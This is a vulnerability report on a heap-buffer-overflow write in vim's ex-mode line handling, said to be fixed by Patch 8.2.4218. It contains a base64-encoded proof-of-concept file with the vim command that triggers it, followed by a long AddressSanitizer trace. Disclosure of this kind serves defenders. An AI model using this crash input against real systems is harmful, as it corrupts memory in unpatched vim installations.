Heap-buffer-overflow on write in vim
This issue was created to separate this one and was fixed with Patch 8.2.4218.
Steps to reproduce:
echo -n bm9ybTBRgFBTMP8wMDCysDAwMDAwMDAwMDAwMDAw/zD/g7IwMDAwMDAwMDAwjjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAD | base64 -d > heap_ow_poc2
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc2 -c :qa!
==1637==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000e66 at pc 0x0000007a6af2 bp 0x7fff3b93fd50 sp 0x7fff3b93fd48
WRITE of size 1 at 0x607000000e66 thread T0
#0 0x7a6af1 in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21
#1 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#2 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#3 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#4 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#5 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#6 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#7 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#8 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#9 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#10 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#11 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#12 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#13 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#14 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#15 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#16 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#17 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#18 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#19 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x607000000e66 is located 0 bytes to the right of 70-byte region [0x607000000e20,0x607000000e66)
allocated by thread T0 here:
#0 0x496589 in realloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x496589)
#1 0x4c7722 in ga_grow_inner /home/presler/fuzzing/vim_sanitized/src/alloc.c:741:10
#2 0x4c74dd in ga_grow /home/presler/fuzzing/vim_sanitized/src/alloc.c:720:9
#3 0x648655 in bracketed_paste /home/presler/fuzzing/vim_sanitized/src/edit.c:4446:26
#4 0x7a4aee in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2874:6
#5 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#6 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#7 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#8 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#9 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#10 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#11 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#14 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#15 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#16 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#17 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#18 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#19 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#20 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#21 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#22 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#23 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21 in getexmodeline
Shadow bytes around the buggy address:
0x0c0e7fff8170: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0c0e7fff8180: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0e7fff8190: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff81a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff81b0: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 01
=>0x0c0e7fff81c0: fa fa fa fa 00 00 00 00 00 00 00 00[06]fa fa fa
0x0c0e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1637==ABORTING
This vulnerabilities are capable of crashing software, Modify Memory, and possible remote execution